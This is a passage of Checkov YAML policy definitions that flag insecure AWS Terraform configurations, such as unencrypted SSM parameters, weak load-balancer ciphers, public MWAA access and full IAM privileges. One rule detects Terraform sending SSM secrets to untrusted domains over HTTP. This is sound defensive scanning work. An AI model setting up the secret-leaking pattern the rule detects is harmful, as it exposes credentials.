provider: "aws" definition: or: - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.instance_id" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.instance_id" operator: "equals" value: "" - cond_type: "attribute" resource_types: - "aws_route_table" attribute: "route.*.cidr_block" operator: "not_contains" value: "0.0.0.0/0" - cond_type: "attribute" resource_types: - "aws_route" attribute: "instance_id" operator: "not_exists" - cond_type: "attribute" resource_types: - "aws_route" attribute: "instance_id" operator: "equals" value: "" - cond_type: "attribute" resource_types: - "aws_route" attribute: "destination_cidr_block" operator: "not_contains" value: "0.0.0.0/0" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml ================================================ metadata: name: "AWS SSM Parameter should be Encrypted" id: "CKV2_AWS_34" guidelines: "AWS Systems Manager (SSM) parameters that store sensitive data, for example, passwords, database strings, and permit codes are encrypted so as to meet security and compliance prerequisites. An encrypted SSM parameter is any sensitive information that should be kept and referenced in a protected way." category: "Encryption" severity: "medium" scope: provider: "aws" definition: and: - cond_type: "attribute" resource_types: - "aws_ssm_parameter" attribute: "type" operator: "equals" value: "SecureString" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml ================================================ metadata: id: "CKV2_AWS_66" name: "Ensure MWAA environment is not publicly accessible" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: "aws_mwaa_environment" attribute: "webserver_access_mode" operator: "not_exists" - cond_type: "attribute" resource_types: "aws_mwaa_environment" attribute: "webserver_access_mode" operator: "equals" value: "PRIVATE_ONLY" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml ================================================ metadata: id: "CKV2_AWS_65" name: "Ensure access control lists for S3 buckets are disabled" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: "aws_s3_bucket_ownership_controls" attribute: "rule.object_ownership" operator: "equals" value: "BucketOwnerEnforced" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml ================================================ metadata: id: "CKV_AWS_103" name: "Ensure that load balancer is using at least TLS 1.2" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "protocol" operator: "within" value: - "TCP" - "UDP" - "TCP_UDP" - and: - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "protocol" operator: "within" value: - "HTTPS" - "TLS" - or: - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "ssl_policy" operator: "starting_with" value: "ELBSecurityPolicy-FS-1-2" - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "ssl_policy" operator: "starting_with" value: "ELBSecurityPolicy-TLS-1-2" - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "ssl_policy" operator: "starting_with" value: "ELBSecurityPolicy-TLS13" - and: - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "default_action.type" operator: "equals" value: "redirect" - cond_type: "attribute" resource_types: - "aws_lb_listener" - "aws_alb_listener" attribute: "default_action.redirect.protocol" operator: "equals" value: "HTTPS" - and: - resource_types: - "aws_lb_listener" connected_resource_types: - "aws_lb" operator: exists cond_type: connection - cond_type: attribute resource_types: - aws_lb attribute: load_balancer_type operator: equals value: gateway - cond_type: filter value: - "aws_lb_listener" attribute: resource_type operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml ================================================ metadata: id: "CKV2_AWS_33" name: "Ensure AppSync is protected by WAF" category: "APPLICATION_SECURITY" definition: and: - cond_type: filter value: - aws_appsync_graphql_api operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - aws_appsync_graphql_api connected_resource_types: - aws_wafv2_web_acl_association ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml ================================================ metadata: id: "CKV2_AWS_78" name: "Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability" category: "NETWORKING" definition: or: - and: - cond_type: filter attribute: resource_type operator: within value: - aws_appsync_graphql_api - cond_type: connection resource_types: - aws_appsync_graphql_api connected_resource_types: - aws_wafv2_web_acl_association operator: not_exists - and: - cond_type: filter attribute: resource_type operator: within value: - aws_appsync_graphql_api - cond_type: connection resource_types: - aws_appsync_graphql_api connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: connection resource_types: - aws_wafv2_web_acl connected_resource_types: - aws_wafv2_web_acl_association operator: exists - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesAnonymousIpList" - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesKnownBadInputsRuleSet" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml ================================================ metadata: name: "Ensure that Auto Scaling is enabled on your DynamoDB tables" id: "CKV2_AWS_16" category: "GENERAL_SECURITY" definition: or: - and: - cond_type: filter attribute: resource_type value: - aws_dynamodb_table operator: within - cond_type: connection resource_types: - aws_dynamodb_table connected_resource_types: - aws_appautoscaling_target operator: exists - cond_type: connection resource_types: - aws_appautoscaling_target connected_resource_types: - aws_appautoscaling_policy operator: exists - or: - cond_type: attribute resource_types: - aws_dynamodb_table attribute: billing_mode operator: equals value: PROVISIONED - cond_type: attribute resource_types: - aws_dynamodb_table attribute: billing_mode operator: not_exists - cond_type: attribute resource_types: - aws_appautoscaling_target attribute: service_namespace operator: equals value: dynamodb - cond_type: attribute resource_types: - aws_dynamodb_table attribute: billing_mode operator: equals value: PAY_PER_REQUEST ================================================ FILE: checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml ================================================ metadata: id: "CKV2_AWS_15" name: "Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks." category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - aws_autoscaling_attachment operator: within - cond_type: attribute resource_types: - aws_autoscaling_group attribute: health_check_type operator: equals value: "ELB" - resource_types: - aws_autoscaling_group connected_resource_types: - aws_autoscaling_attachment operator: exists cond_type: connection - or: - and: - resource_types: - aws_elb connected_resource_types: - aws_autoscaling_attachment operator: exists cond_type: connection - cond_type: attribute resource_types: - aws_elb attribute: health_check operator: exists - and: - resource_types: - aws_lb_target_group connected_resource_types: - aws_autoscaling_attachment operator: exists cond_type: connection - cond_type: attribute resource_types: - aws_lb_target_group attribute: health_check operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml ================================================ metadata: id: "CKV2_AWS_46" name: "Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled" category: "IAM" definition: or: - and: - cond_type: filter attribute: resource_type operator: within value: - aws_cloudfront_distribution - cond_type: connection resource_types: - aws_cloudfront_distribution connected_resource_types: - aws_s3_bucket operator: not_exists - cond_type: attribute resource_types: - aws_cloudfront_distribution attribute: "origin.*.s3_origin_config" operator: "exists" - cond_type: attribute resource_types: - aws_cloudfront_distribution attribute: "origin.*.origin_access_control_id" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml ================================================ metadata: id: "CKV2_AWS_42" name: "Ensure AWS CloudFront distribution uses custom SSL certificate" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: "viewer_certificate.iam_certificate_id" operator: "exists" - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: "viewer_certificate.acm_certificate_arn" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml ================================================ # ref: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/creating-response-headers-policies.html metadata: id: "CKV2_AWS_32" name: "Ensure CloudFront distribution has a response headers policy attached" category: "NETWORKING" definition: and: - cond_type: filter value: - aws_cloudfront_distribution operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - aws_cloudfront_distribution connected_resource_types: - aws_cloudfront_response_headers_policy - data.aws_cloudfront_response_headers_policy ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml ================================================ metadata: id: "CKV2_AWS_54" name: "Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication" category: "NETWORKING" definition: cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: "origin.*.custom_origin_config.origin_ssl_protocols" operator: "not_contains" value: "SSLv3" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml ================================================ metadata: id: "CKV2_AWS_47" name: "Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability" category: "APPLICATION_SECURITY" definition: and: - cond_type: filter attribute: resource_type operator: within value: - aws_cloudfront_distribution - cond_type: connection resource_types: - aws_cloudfront_distribution connected_resource_types: - aws_wafv2_web_acl operator: exists - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesAnonymousIpList" - cond_type: attribute resource_types: - aws_wafv2_web_acl attribute: rule.*.statement.managed_rule_group_statement.name operator: contains value: "AWSManagedRulesKnownBadInputsRuleSet" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml ================================================ metadata: id: "CKV2_AWS_72" name: "Ensure AWS CloudFront origin protocol policy enforces HTTPS-only" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: "enabled" operator: "equals" value: "false" - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: "origin.*.custom_origin_config" operator: "not_exists" - and: - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name operator: "jsonpath_not_contains" value: ".mediastore." - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name operator: "jsonpath_not_contains" value: ".mediapackage." - cond_type: "attribute" resource_types: - "aws_cloudfront_distribution" attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name operator: "jsonpath_not_contains" value: ".elb." ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml ================================================ metadata: name: "Ensure CloudTrail trails are integrated with CloudWatch Logs" id: "CKV2_AWS_10" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - aws_cloudtrail operator: within - cond_type: connection resource_types: - aws_cloudtrail connected_resource_types: - aws_cloudwatch_log_group operator: exists - cond_type: attribute resource_types: - aws_cloudtrail attribute: cloud_watch_logs_group_arn operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml ================================================ metadata: name: "Ensure CodeCommit associates an approval rule" category: "GENERAL_SECURITY" id: "CKV2_AWS_37" scope: provider: "AWS" definition: and: - resource_types: - aws_codecommit_repository connected_resource_types: - aws_codecommit_approval_rule_template_association operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - aws_codecommit_repository operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml ================================================ metadata: id: "CKV2_AWS_48" name: "Ensure AWS Config must record all possible resources" category: "LOGGING" definition: cond_type: attribute resource_types: - aws_config_configuration_recorder attribute: recording_group.include_global_resource_types operator: equals value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml ================================================ metadata: id: "CKV2_AWS_49" name: "Ensure AWS Database Migration Service endpoints have SSL configured" category: "NETWORKING" definition: or: - and: - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "endpoint_type" operator: "equals" value: "source" - or: - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "engine_name" operator: "subset" value: - "s3" - "azuredb" - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "ssl_mode" operator: "not_equals" value: "none" - and: - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "endpoint_type" operator: "equals" value: "target" - or: - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "engine_name" operator: "subset" value: - "dynamodb" - "kinesis" - "neptune" - "redshift" - "s3" - "elasticsearch" - "kafka" - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "ssl_mode" operator: "not_equals" value: "none" - cond_type: "attribute" resource_types: - "aws_dms_endpoint" attribute: "endpoint_type" operator: "not_within" value: - "source" - "target" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml ================================================ metadata: name: "Ensure that EBS are added in the backup plans of AWS Backup" id: "CKV2_AWS_9" category: "BACKUP_AND_RECOVERY" definition: and: - cond_type: connection resource_types: - aws_backup_selection connected_resource_types: - aws_ebs_volume operator: exists - cond_type: filter attribute: resource_type value: - aws_ebs_volume operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml ================================================ metadata: id: "CKV2_AWS_41" name: "Ensure an IAM role is attached to EC2 instance" category: "IAM" definition: cond_type: "attribute" resource_types: - "aws_instance" attribute: "iam_instance_profile" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml ================================================ metadata: name: "Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup" id: "CKV2_AWS_18" category: "BACKUP_AND_RECOVERY" definition: and: - cond_type: connection resource_types: - aws_backup_selection connected_resource_types: - aws_efs_file_system - aws_backup_plan operator: exists - cond_type: filter attribute: resource_type value: - aws_efs_file_system operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml ================================================ metadata: id: "CKV2_AWS_19" name: "Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - aws_eip operator: within - or: - cond_type: attribute resource_types: - aws_eip attribute: vpc operator: equals value: true - cond_type: attribute resource_types: - aws_eip attribute: domain operator: equals value: vpc - or: - resource_types: - aws_eip connected_resource_types: - aws_instance operator: exists cond_type: connection - and: - resource_types: - aws_eip_association connected_resource_types: - aws_instance - aws_eip operator: exists cond_type: connection - cond_type: attribute resource_types: - aws_eip_association attribute: instance_id operator: exists - resource_types: - aws_eip connected_resource_types: - aws_nat_gateway operator: exists cond_type: connection - resource_types: - aws_eip connected_resource_types: - aws_transfer_server operator: exists cond_type: connection - cond_type: attribute resource_types: - aws_eip attribute: instance operator: contains value: "module." - cond_type: attribute resource_types: - aws_eip attribute: instance operator: contains value: "data." ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml ================================================ metadata: id: "CKV2_AWS_55" name: "Ensure AWS EMR cluster is configured with security configuration" category: "ENCRYPTION" definition: cond_type: "attribute" resource_types: - "aws_emr_cluster" attribute: "security_configuration" operator: "exists" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml ================================================ metadata: id: "CKV2_AWS_50" name: "Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled" category: "BACKUP_AND_RECOVERY" definition: cond_type: "attribute" resource_types: - "aws_elasticache_replication_group" attribute: "automatic_failover_enabled" operator: "equals" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml ================================================ metadata: id: "CKV2_AWS_59" name: "Ensure ElasticSearch/OpenSearch has dedicated master node enabled" category: "GENERAL_SECURITY" definition: cond_type: attribute resource_types: - "aws_opensearch_domain" - "aws_elasticsearch_domain" attribute: "cluster_config.dedicated_master_enabled" operator: "equals" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml ================================================ metadata: name: "Ensure that only encrypted EBS volumes are attached to EC2 instances" category: "ENCRYPTION" id: "CKV2_AWS_2" definition: and: - or: - cond_type: "connection" resource_types: - "aws_volume_attachment" connected_resource_types: - "aws_ebs_volume" operator: "not_exists" - and: - cond_type: "attribute" resource_types: - "aws_ebs_volume" attribute: "encrypted" operator: "equals" value: true - cond_type: "connection" resource_types: - "aws_volume_attachment" connected_resource_types: - "aws_ebs_volume" operator: "exists" - cond_type: "filter" attribute: "resource_type" value: - "aws_ebs_volume" operator: "within" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml ================================================ metadata: id: "CKV2_AWS_3" name: "Ensure GuardDuty is enabled to specific org/region" category: "GENERAL_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - aws_guardduty_detector operator: within - resource_types: - aws_guardduty_detector connected_resource_types: - aws_guardduty_organization_configuration operator: exists cond_type: connection - cond_type: "attribute" resource_types: - aws_guardduty_detector attribute: enable operator: equals value: true - or: - cond_type: "attribute" resource_types: - aws_guardduty_organization_configuration attribute: auto_enable operator: equals value: true - cond_type: "attribute" resource_types: - aws_guardduty_organization_configuration attribute: auto_enable_organization_members operator: within value: - "ALL" - "NEW" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml ================================================ metadata: id: "CKV2_AWS_36" name: "Ensure terraform is not sending SSM secrets to untrusted domains over HTTP" category: "SUPPLY_CHAIN" # inspired by: https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/ definition: or: - and: - cond_type: connection operator: exists resource_types: - data.http connected_resource_types: - aws_ssm_parameter - cond_type: attribute value: "SecureString" attribute: type resource_types: - aws_ssm_parameter operator: not_equals - cond_type: filter attribute: resource_type value: - data.http operator: within - and: - cond_type: connection operator: not_exists resource_types: - data.http connected_resource_types: - aws_ssm_parameter - cond_type: filter attribute: resource_type value: - data.http operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml ================================================ metadata: id: "CKV2_AWS_14" name: "Ensure that IAM groups includes at least one IAM user" category: "IAM" definition: and: - resource_types: - aws_iam_group connected_resource_types: - aws_iam_group_membership operator: exists cond_type: connection - resource_types: - aws_iam_group_membership connected_resource_types: - aws_iam_user operator: exists cond_type: connection - cond_type: attribute attribute: users resource_types: - aws_iam_group_membership operator: exists - cond_type: filter attribute: resource_type value: - aws_iam_group_membership operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/IAMManagedIAMFullAccessPolicy.yaml ================================================ --- metadata: id: "CKV2_AWS_56" name: "Ensure AWS Managed IAMFullAccess IAM policy is not used." category: "IAM" definition: not: or: - cond_type: attribute resource_types: - "data.aws_iam_policy" attribute: "name" operator: equals value: "IAMFullAccess" - cond_type: attribute resource_types: - "data.aws_iam_policy" attribute: "arn" operator: contains value: "IAMFullAccess" - cond_type: attribute resource_types: - "aws_iam_policy_attachment" - "aws_iam_user_policy_attachment" - "aws_iam_role_policy_attachment" - "aws_iam_group_policy_attachment" attribute: "policy_arn" operator: contains value: "IAMFullAccess" - cond_type: attribute resource_types: - "aws_iam_role" attribute: "managed_policy_arns.*" operator: contains value: "IAMFullAccess" - cond_type: attribute resource_types: - "aws_ssoadmin_managed_policy_attachment" attribute: "managed_policy_arn" operator: contains value: "IAMFullAccess" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/IAMPolicyNotAllowFullIAMAccess.yaml ================================================ --- metadata: id: "CKV2_AWS_40" name: "Ensure AWS IAM policy does not allow full IAM privileges" category: "IAM" definition: and: - or: - cond_type: "attribute" resource_types: - "aws_iam_policy" - "aws_iam_role_policy" - "aws_iam_group_policy" - "aws_iam_user_policy" attribute: "policy.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "iam:*" - cond_type: "attribute" resource_types: - "aws_ssoadmin_permission_set_inline_policy" attribute: "inline_policy.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "iam:*" - cond_type: "attribute" resource_types: - "data.aws_iam_policy_document" attribute: "statement[?(@.effect == Allow)].actions[*]" operator: "jsonpath_not_equals" value: "iam:*" - or: - cond_type: "attribute" resource_types: - "aws_iam_policy" - "aws_iam_role_policy" - "aws_iam_group_policy" - "aws_iam_user_policy" attribute: "policy.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "*" - cond_type: "attribute" resource_types: - "aws_ssoadmin_permission_set_inline_policy" attribute: "inline_policy.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "*" - cond_type: "attribute" resource_types: - "data.aws_iam_policy_document" attribute: "statement[?(@.effect == Allow)].actions[*]" operator: "jsonpath_not_equals" value: "*" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml ================================================ metadata: id: "CKV2_AWS_22" name: "Ensure an IAM User does not have access to the console" category: "IAM" definition: and: - cond_type: filter attribute: resource_type value: - aws_iam_user operator: within - resource_types: - aws_iam_user connected_resource_types: - aws_iam_user_login_profile operator: not_exists cond_type: connection ================================================ FILE: checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml ================================================ metadata: id: "CKV2_AWS_21" name: "Ensure that all IAM users are members of at least one IAM group." category: "IAM" definition: and: - resource_types: - aws_iam_group_membership connected_resource_types: - aws_iam_user operator: exists cond_type: connection - resource_types: - aws_iam_group_membership connected_resource_types: - aws_iam_group operator: exists cond_type: connection - cond_type: filter attribute: resource_type value: - aws_iam_group_membership operator: within ================================================ FILE: checkov/terraform/checks/graph_checks/aws/KmsKeyPolicyIsDefined.yaml ================================================ metadata: id: "CKV2_AWS_64" name: "Ensure KMS key Policy is defined" category: "IAM" definition: or: - cond_type: "attribute" resource_types: - "aws_kms_key" attribute: "policy" operator: "exists" - and: - cond_type: filter attribute: resource_type operator: within value: - aws_kms_key - cond_type: connection resource_types: - aws_kms_key connected_resource_types: - aws_kms_key_policy operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml ================================================ metadata: id: "CKV_AWS_378" name: "Ensure AWS Load Balancer doesn't use HTTP protocol" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - aws_lb_target_group - aws_alb_target_group attribute: "protocol" operator: "not_equals" value: "HTTP" - and: - cond_type: filter value: - aws_lb_target_group - aws_alb_target_group operator: within attribute: resource_type - cond_type: connection operator: exists resource_types: - aws_lb_target_group - aws_alb_target_group connected_resource_types: - aws_lb_listener - aws_alb_listener - cond_type: "attribute" resource_types: - aws_lb_listener - aws_alb_listener attribute: "protocol" operator: "not_equals" value: "HTTP" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/LBWeakCiphers.yaml ================================================ metadata: id: "CKV2_AWS_74" name: "Ensure AWS Load Balancers use strong ciphers" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "aws_alb_listener" - "aws_lb_listener" attribute: "protocol" operator: "not_within" value: - "HTTPS" - "TLS" - and: - cond_type: "attribute" resource_types: - "aws_alb_listener" - "aws_lb_listener" attribute: "ssl_policy" operator: "exists" # The default is ELBSecurityPolicy-2016-08 which is weak - cond_type: "attribute" resource_types: - "aws_alb_listener" - "aws_lb_listener" attribute: "ssl_policy" operator: "not_within" value: - "ELBSecurityPolicy-2016-08" - "ELBSecurityPolicy-2015-05" - "ELBSecurityPolicy-TLS-1-0-2015-04" - "ELBSecurityPolicy-TLS-1-1-2017-01" - "ELBSecurityPolicy-2015-03" - "ELBSecurityPolicy-2015-02" - "ELBSecurityPolicy-2014-10" - "ELBSecurityPolicy-Default" - "ELBSecurityPolicy-2014-01" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml ================================================ metadata: name: "Ensure no open CORS policy" id: "CKV2_AWS_75" category: "NETWORKING" scope: provider: "aws" definition: and: - cond_type: "filter" attribute: "resource_type" value: - "aws_lambda_function" operator: "within" - or: - cond_type: "connection" operator: "not_exists" resource_types: - "aws_lambda_function" connected_resource_types: - "aws_lambda_function_url" - and: - cond_type: "connection" operator: "exists" resource_types: - "aws_lambda_function" connected_resource_types: - "aws_lambda_function_url" - or: - cond_type: "attribute" resource_types: - "aws_lambda_function_url" attribute: "cors.allow_origins" operator: "not_contains" value: "*" - cond_type: "attribute" resource_types: - "aws_lambda_function_url" attribute: "cors.allow_methods" operator: "not_contains" value: "*" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/NeptuneDeletionProtectionEnabled.yaml ================================================ metadata: name: "Ensure AWS Neptune cluster deletion protection is enabled" id: "CKV2_AWS_58" category: "GENERAL_SECURITY" definition: cond_type: "attribute" resource_types: - "aws_neptune_cluster" attribute: "deletion_protection" operator: "equals_ignore_case" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/NetworkFirewallHasLogging.yaml ================================================ metadata: name: "Ensure Network firewall has logging configuration defined" id: "CKV2_AWS_63" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - aws_networkfirewall_firewall operator: within - cond_type: connection resource_types: - aws_networkfirewall_firewall connected_resource_types: - aws_networkfirewall_logging_configuration operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/OpenSearchDomainHasFineGrainedControl.yaml ================================================ metadata: id: "CKV2_AWS_52" name: "Ensure AWS ElasticSearch/OpenSearch Fine-grained access control is enabled" category: "IAM" definition: or: - cond_type: "attribute" resource_types: - "aws_opensearch_domain" - "aws_elasticsearch_domain" attribute: "advanced_security_options.internal_user_database_enabled" operator: "equals" value: "true" - cond_type: "attribute" resource_types: - "aws_opensearch_domain" - "aws_elasticsearch_domain" attribute: "advanced_security_options.enabled" operator: "equals" value: "true" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml ================================================ metadata: name: "Ensure Postgres RDS as aws_db_instance has Query Logging enabled" id: "CKV2_AWS_30" category: "LOGGING" definition: or : - cond_type: filter attribute: resource_type value: - aws_db_instance operator: within - cond_type: filter resource_types: - aws_db_instance attribute: engine operator: within value: "postgres" - cond_type: connection resource_types: - aws_db_instance connected_resource_types: - aws_db_parameter_group operator: exists - cond_type: attribute resource_types: - aws_db_parameter_group attribute: "parameter.*.name" operator: contains value: "log_statement" - cond_type: attribute resource_types: - aws_db_parameter_group attribute: "parameter.*.name" operator: contains value: "log_min_duration_statement" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml ================================================ metadata: name: "Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled" id: "CKV2_AWS_27" category: "LOGGING" definition: and: - cond_type: filter attribute: resource_type value: - aws_rds_cluster operator: within - cond_type: filter resource_types: - aws_rds_cluster attribute: engine operator: within value: "aurora-postgresql" - cond_type: connection resource_types: - aws_rds_cluster connected_resource_types: - aws_rds_cluster_parameter_group operator: exists - cond_type: attribute resource_types: - aws_rds_cluster_parameter_group attribute: "parameter.*.name" operator: contains value: "log_statement" - cond_type: attribute resource_types: - aws_rds_cluster_parameter_group attribute: "parameter.*.name" operator: contains value: "log_min_duration_statement" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml ================================================ metadata: id: "CKV2_AWS_8" name: "Ensure that RDS clusters has backup plan of AWS Backup" category: "BACKUP_AND_RECOVERY" definition: and: - cond_type: filter attribute: resource_type value: - aws_rds_cluster operator: within - cond_type: connection resource_types: - aws_rds_cluster connected_resource_types: - aws_backup_selection operator: exists ================================================ FILE: checkov/terraform/checks/graph_checks/aws/RDSEnableCopyTagsToSnapshot.yaml ================================================ metadata: id: "CKV2_AWS_60" name: "Ensure RDS instance with copy tags to snapshots is enabled" category: "GENERAL_SECURITY" definition: and: - cond_type: attribute resource_types: "aws_db_instance" attribute: "copy_tags_to_snapshot" operator: "equals" value: "true" - cond_type: attribute resource_types: "aws_db_instance" attribute: "copy_tags_to_snapshot" operator: "exists" - cond_type: attribute resource_types: "aws_db_instance" attribute: "engine" operator: "not_within" value: - "neptune" - "aurora" - "docdb" ================================================ FILE: checkov/terraform/checks/graph_checks/aws/RDSEncryptionInTransit.yaml ================================================ metadata: id: "CKV2_AWS_69" name: "Ensure AWS RDS database instance configured with encryption in transit" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - "aws_db_instance" operator: within - or: - cond_type: "connection" resource_types: - "aws_db_instance" connected_resource_types: - "aws_db_parameter_group" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "aws_db_instance" connected_resource_types: - "aws_db_parameter_group" operator: "exists" - or: - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "family" operator: "not_regex_match" value: "(^postgres|.*sqlserver).*" - and: - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='rds.force_ssl')].value" operator: "jsonpath_exists" - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='rds.force_ssl')].value" operator: "jsonpath_equals" value: "1" - or: - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "family" operator: "not_regex_match" value: "^(mariadb|mysql).*" - and: - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='require_secure_transport')].value" operator: "jsonpath_exists" - cond_type: "attribute" resource_types: - "aws_db_parameter_group" attribute: "parameter[?(@.name=='require_secure_transport')].value" operator: "jsonpath_equals" value: "1" - or: - cond_type: "attribute" resource_types: - 